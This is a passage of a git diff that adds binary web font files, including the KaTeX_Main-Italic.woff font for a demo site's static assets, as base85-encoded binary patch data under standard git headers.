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 literal 0 HcmV?d00001 diff --git a/demo/static/dist/assets/KaTeX_Main-Italic.woff b/demo/static/dist/assets/KaTeX_Main-Italic.woff new file mode 100644 index 0000000000000000000000000000000000000000..6f43b594b6c1d863a0e3f93b001f8dd503316464 GIT binary patch literal 19676 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 